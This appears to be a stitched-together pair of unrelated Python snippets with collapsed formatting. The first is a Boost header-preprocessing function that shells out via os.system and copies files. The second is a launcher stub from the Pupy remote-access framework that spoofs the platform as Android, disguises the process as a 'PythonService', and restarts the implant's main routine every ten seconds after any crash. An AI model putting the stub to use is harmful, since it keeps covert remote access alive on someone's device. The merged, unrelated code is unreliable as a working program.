def process( file, boost_root, dst_dir, mode ): file_path = "%s.hpp" % os.path.splitext( file )[0] os.system( preprocess_cmd % { 'boost_root': boost_root , 'mode': mode , 'file': file , 'file_path': file_path } ) os.rename( file_path, "%s.tmp" % file_path ) pp.main( "%s.tmp" % file_path, file_path ) os.remove( "%s.tmp" % file_path ) filename = os.path.basename(file_path) dst_dir = os.path.join( dst_dir, mode ) dst_file = os.path.join( dst_dir, filename ) if os.path.exists( dst_file ): shutil.copymode( filename, dst_file ) shutil.copy( filename, dst_dir ) os.remove( filename )
#!/usr/bin/env python # -*- coding: utf-8 -*- # Copyright (c) 2015, Nicolas VERDIER ([email protected]) # Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms import os import platform import time os.environ['KIVY_NO_FILELOG'] = 'yes' platform.system = lambda: 'android' if __name__ == '__main__': import sys setattr(sys, 'executable', 'PythonService') import pp while True: try: pp.main() except Exception as e: import traceback traceback.print_exc() time.sleep(10)